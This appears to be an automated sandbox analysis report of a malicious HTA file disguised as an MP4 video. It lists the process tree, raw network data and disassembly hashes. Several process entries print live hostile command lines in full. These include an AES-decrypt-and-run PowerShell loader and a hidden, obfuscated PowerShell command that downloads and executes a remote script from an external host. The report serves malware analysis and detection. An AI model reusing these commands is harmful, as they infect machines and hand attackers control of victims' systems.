{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nSSJMMtdYZlcFPZEm2issBHMdyYRaKty72W81oiecQjHDvfVCUf5R%2BPDuhg%2BZdfGl9V9rE%2F7uSINpsOqn36strtXkSX1Gy4Xxlw0rqFDLnMyBwkAlUhOfFQxJ%2BypxJf9tXjUTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f603448ee6dc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1451&rtt_var=569&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1015&delivery_rate=1881443&cwnd=214&unsent_bytes=0&cid=9865b6bc4a1d2668&ts=759&x=0"
2024-12-22 12:44:37 UTC	146	IN	Data Raw: 38 63 0d 0a 65 78 78 6f 50 72 6d 41 79 6c 37 6e 67 50 2b 58 45 30 76 35 36 73 4a 34 66 4c 77 67 47 4c 6e 33 4c 39 31 47 34 77 52 43 69 4f 59 67 5a 30 70 4c 6d 37 72 6f 4e 70 50 30 6a 2b 51 70 46 39 61 32 37 52 4d 51 31 56 42 37 32 49 4e 4b 72 53 2b 57 4e 47 7a 37 6a 68 52 73 4e 42 48 51 37 72 34 42 68 4f 79 50 79 48 38 76 69 37 57 78 45 42 32 53 56 47 44 4e 31 51 50 2f 49 4a 63 6d 65 4c 72 4b 57 58 6c 4b 42 49 6a 39 6c 77 3d 3d 0d 0a Data Ascii: 8cexxoPrmAyl7ngP+XE0v56sJ4fLwgGLn3L91G4wRCiOYgZ0pLm7roNpP0j+QpF9a27RMQ1VB72INKrS+WNGz7jhRsNBHQ7r4BhOyPyH8vi7WxEB2SVGDN1QP/IJcmeLrKWXlKBIj9lw==
2024-12-22 12:44:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:42:05
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\winwidgetshp.mp4.hta"
Imagebase:	0xe60000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:42:07
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F7A4C2B014C25A08F51C4F88F54AC90423E9054BC28B1315DD2E1A60D1391C76EED112CDC6F204754F5A5205EDE0E60452F5D8F99E50133A73E99D6E111610504CC3C2C332749FA5022F17C0BE5726446604D480D6F1CE03B718D3723525E2F713F6084FEDEE861F1C477451AAA4DE1C0C2CA11107A3D215341566A170DC382A4642BFA767DC00AF2A7DE717721F19583AC1E0AEDEED698700E2874EA1D5E5A307BDF5513CB550000C01A6C336844CAB950E01B1EA73586EC398AE12D51E7F1938D74FAA15E5FF538324B8D3A10819C846');$nSNd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((htXbx('725944504E776C5A7566715556526E70')),[byte[]]::new(16)).TransformFinalBlock($sMkL,0,$sMkL.Length)); & $nSNd.Substring(0,3) $nSNd.Substring(129)
Imagebase:	0x890000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:42:07
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:42:09
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Imagebase:	0x890000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.3505131784.00000000073C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:42:09
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:44:17
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x890000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 06420FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Function 06420FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Function 06420FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Function 06420F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Function 06420FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Function 06420FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2198905965.0000000006420000.00000010.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6420000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 40083d4ca0dffdcc928e1808c21342abd99bf8729dad410611764d61e5d64354
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 2656, Parent PID: 7064COMMON

Executed Functions

Function 04B38C10 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781220e54a52e44c42a83640a3635e0e319deb7856f3eb0aa97b093c4f7387f1
Instruction ID: a43507cb33ed16544481c7995525972bf32db4847f0ca280f0f32e1593d096b8
Opcode Fuzzy Hash: 781220e54a52e44c42a83640a3635e0e319deb7856f3eb0aa97b093c4f7387f1
Instruction Fuzzy Hash: 89522934B00214DFDB15DB29D854BADBBB2AF85300F1180D9E8469B395DF75AD82CF92

Function 04B33870 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3899517ea71ab0b17eb3f460c027357b227ddfe91988182cdd3ec2f0621b36d
Instruction ID: c17404c2e805abd3e98a8c2d1d144720ffa5d32d1773d1c0d6a47c14ff03e361
Opcode Fuzzy Hash: e3899517ea71ab0b17eb3f460c027357b227ddfe91988182cdd3ec2f0621b36d
Instruction Fuzzy Hash: D1D1F834A00219DFDB05CF99D484A9EBBF2FF88314F249199E805AB361C775ED82CB90

Function 04B32FF0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9ad284c6c9f13111d7e67d62786e2bc96db74ec0a11d55afb9b3af9c0220b27
Instruction ID: f38665203ae05ecd1b81a0ffcec4dc6985cde79f1fc07ea2853c208fa404ae31
Opcode Fuzzy Hash: e9ad284c6c9f13111d7e67d62786e2bc96db74ec0a11d55afb9b3af9c0220b27
Instruction Fuzzy Hash: 96B18D74A00605CFCB15CF99C894AAABBF2FF88310B248699D9159B365C735FC52CB90

Function 04B38C02 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf9cce41883b4b64384bff812d233875f9f1c1b7e21caaa04043665321b3afb9
Instruction ID: 2791335a48308880f5c46509eb26ac7eed6e3d51fbfe88c5782259110cb75603
Opcode Fuzzy Hash: bf9cce41883b4b64384bff812d233875f9f1c1b7e21caaa04043665321b3afb9
Instruction Fuzzy Hash: F3517934A00218DFDB25DB69D854B9DBBB2FF89700F1181AEE505AB391DB71AC41CB91

Function 04B33100 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d194e446a5f42215cd76b84d55f0f7c69cabcab30119cf41ac7f2207fb9c4045
Instruction ID: 43520bdb190cada2a573769335a6dd784563b5c6db3f580360ff7a1ddd8b068c
Opcode Fuzzy Hash: d194e446a5f42215cd76b84d55f0f7c69cabcab30119cf41ac7f2207fb9c4045
Instruction Fuzzy Hash: 37411574A00505DFCB09CF9AC9989AAFBF1FF88310B158699D915AB364C732FD51CBA0

Function 04B33862 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a179663feafa5c3a1110a1517af95a60b545eca569e5ebfed7e70e9a6ac7928c
Instruction ID: 3404fce9777b3996bcdcafaa4baaadcacce0e767bff7667219672ae3e23d2d90
Opcode Fuzzy Hash: a179663feafa5c3a1110a1517af95a60b545eca569e5ebfed7e70e9a6ac7928c
Instruction Fuzzy Hash: 6F21E574A00209DFCB04CF99C9949AAFBB1FF8C310B1581A9E909E7761C731ED51CBA0

Function 04B39682 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4aa9856bf9642d36dd6da9b3ac101139a90a47bbdca9cd1150a64357da36e8
Instruction ID: ec2604252b1d29f54d3b67a0f67b93e8db7b9e31616dd4bf49bd4c8ef7618eff
Opcode Fuzzy Hash: 4f4aa9856bf9642d36dd6da9b3ac101139a90a47bbdca9cd1150a64357da36e8
Instruction Fuzzy Hash: 44111F75A04208DFCB04DFA4E8509EDBB71FF89310F115199E905AB3A1DB75AC41CFA1

Function 02DBD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2185497700.0000000002DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2dbd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d1ce6d1c55103d8b0da6f3033a877b566a2fecf87c45c4acc1517865f944c33
Instruction ID: 3050720478c7b9533a19f5caf4b21c6dbf07154ff75ea9436c5838add3a53b73
Opcode Fuzzy Hash: 2d1ce6d1c55103d8b0da6f3033a877b566a2fecf87c45c4acc1517865f944c33
Instruction Fuzzy Hash: B301A272405344DAE7214A25C984BA6BF98DF81764F28C41AED8A4B382C7B99C41CAB1

Function 02DBD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2185497700.0000000002DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2dbd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2272cb6d7fbbec6e82589bcaf392848ae11f633030729fd7cb3ff77715e57d64
Instruction ID: ff9e837f935cc99dbded3222afeea4c914d8e3fde8e21175610a8351da3d4efd
Opcode Fuzzy Hash: 2272cb6d7fbbec6e82589bcaf392848ae11f633030729fd7cb3ff77715e57d64
Instruction Fuzzy Hash: C401406240E3C09ED7138B258894752BFB4DF43224F1D80DBD9888F2A3C2695845C772

Function 04B396B2 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e4d961c97102eae5077f2950c9b2a4e494a857043a5a31b6bbb8a14a71b743
Instruction ID: 7ffe42066ea1ff2b44d07f7f7a73149f820725f3f1558dc67d11c17aee4da402
Opcode Fuzzy Hash: 37e4d961c97102eae5077f2950c9b2a4e494a857043a5a31b6bbb8a14a71b743
Instruction Fuzzy Hash: 8BE0C0B9D0820A9F8F48DFB9A4011FEBBF5A648211F10856FD819E2340E63446418FE1

Function 04B396C0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2186937531.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b2b88b9a23aa67b39dea2db413ed412c0644aaa9e96a5aba04db9ba8186aae
Instruction ID: 525b055adbde2305723033eb4b4db4691f7e466b22f183cee8b759bf5341e4f5
Opcode Fuzzy Hash: 45b2b88b9a23aa67b39dea2db413ed412c0644aaa9e96a5aba04db9ba8186aae
Instruction Fuzzy Hash: E9E026B4E0424E9F8F48EFB995411BEFBF5AB48201F1085AE9819E3340E67456518F95

Analysis Process: powershell.exePID: 1428, Parent PID: 2656COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.3%
Total number of Nodes:	314
Total number of Limit Nodes:	10

Executed Functions

Function 086243F0 Relevance: 3.6, Strings: 2, Instructions: 1102COMMON

Download Yara Rule

Strings

4, xrefs: 08624DC5
,j#%, xrefs: 086249D6

Memory Dump Source

Source File: 00000006.00000002.3516284452.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8620000_powershell.jbxd

Similarity

API ID:
String ID: ,j#%$4
API String ID: 0-1316199114
Opcode ID: a5f973f17a4a609538e6c862d86ae96ef89116e4f7eedb5c9019de6ae2e75ef1
Instruction ID: cf732ce5e2fffb65783ceda010a174353c14aae1d786cf6505c3adde5118aeac
Opcode Fuzzy Hash: a5f973f17a4a609538e6c862d86ae96ef89116e4f7eedb5c9019de6ae2e75ef1
Instruction Fuzzy Hash: DCB2E574A00628DFDB18CFA8C894BADB7B6FB88301F158199E505AB3A5CB71ED41CF54

Function 03080959 Relevance: 1.6, APIs: 1, Instructions: 58
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(?,?), ref: 030809CE

Memory Dump Source

Source File: 00000006.00000002.3467046119.0000000003080000.00000040.00000800.00020000.00000000.sdmp, Offset: 03080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3080000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a511d8ce9a704eb9719fb2e435a160e101487f6a973d1aba7159d8a8079506e0
Instruction ID: 8faa15fd36a69bdaf03e6df694edb74f03229e335f1a507ce93daa87c0c91764
Opcode Fuzzy Hash: a511d8ce9a704eb9719fb2e435a160e101487f6a973d1aba7159d8a8079506e0
Instruction Fuzzy Hash: 1421E8B19002499BDB10DFAAD4457AEFBF4EF48324F14842AD559A7200CBB859448FA5

Function 03080960 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 030809CE

Memory Dump Source

Source File: 00000006.00000002.3467046119.0000000003080000.00000040.00000800.00020000.00000000.sdmp, Offset: 03080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3080000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4b8ff74e6490ac1a694abed18b2c8afedeb3e4a6965554fed7dc4558cb0a16b7
Instruction ID: c8a09570f006b9bcf6caa58092dfac03dd72e579fa116755deca08e53de53e0e
Opcode Fuzzy Hash: 4b8ff74e6490ac1a694abed18b2c8afedeb3e4a6965554fed7dc4558cb0a16b7
Instruction Fuzzy Hash: EE111AB1D003499FEB10DFAAC44579EFBF4EF88324F14842AD559A7200CBB85944CFA5

Function 074B8320 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a30612bb9834e78f37e20d3fb3fc70fb32517ac1d97dff0d120bffe2ccc77be6
Instruction ID: bcb99928d5a705d866dbfd038834f836e2ed552f89fa8e50c3ba6335fe67c7d4
Opcode Fuzzy Hash: a30612bb9834e78f37e20d3fb3fc70fb32517ac1d97dff0d120bffe2ccc77be6
Instruction Fuzzy Hash: 98E118B4D01218CFDB24CFA9C944BDEB7BAFB4A304F1084AAD409AB251D7749D85CFA5

Function 074B8315 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ee2575678427b9381fad31bb571ee7e63423837349f781fd5bde1a8fe0fe0f3
Instruction ID: 1af8b833c50ef33bb3bcebaab2bee9dc12175ca59d85707c6f8cbf1de5eaf826
Opcode Fuzzy Hash: 1ee2575678427b9381fad31bb571ee7e63423837349f781fd5bde1a8fe0fe0f3
Instruction Fuzzy Hash: CDE115B4E01218CFDB24CFA9D944BDEB7BAFB49300F1084AAD409AB251D7749D85CFA5

Function 074C76C0 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ac34347ef96bac42a67208caf0ff4e0fe1d5543235aa9048a6afc47705b19f
Instruction ID: 9d1fab53372ce310109214a368f4a9986792704c92a168356ee6ce1f96190dbf
Opcode Fuzzy Hash: 67ac34347ef96bac42a67208caf0ff4e0fe1d5543235aa9048a6afc47705b19f
Instruction Fuzzy Hash: 25B1F7B8E02218CFDB95CFAAD584BEDBBF2BB49300F1490AAD509A7351D7705981CF50

Function 074C76B1 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
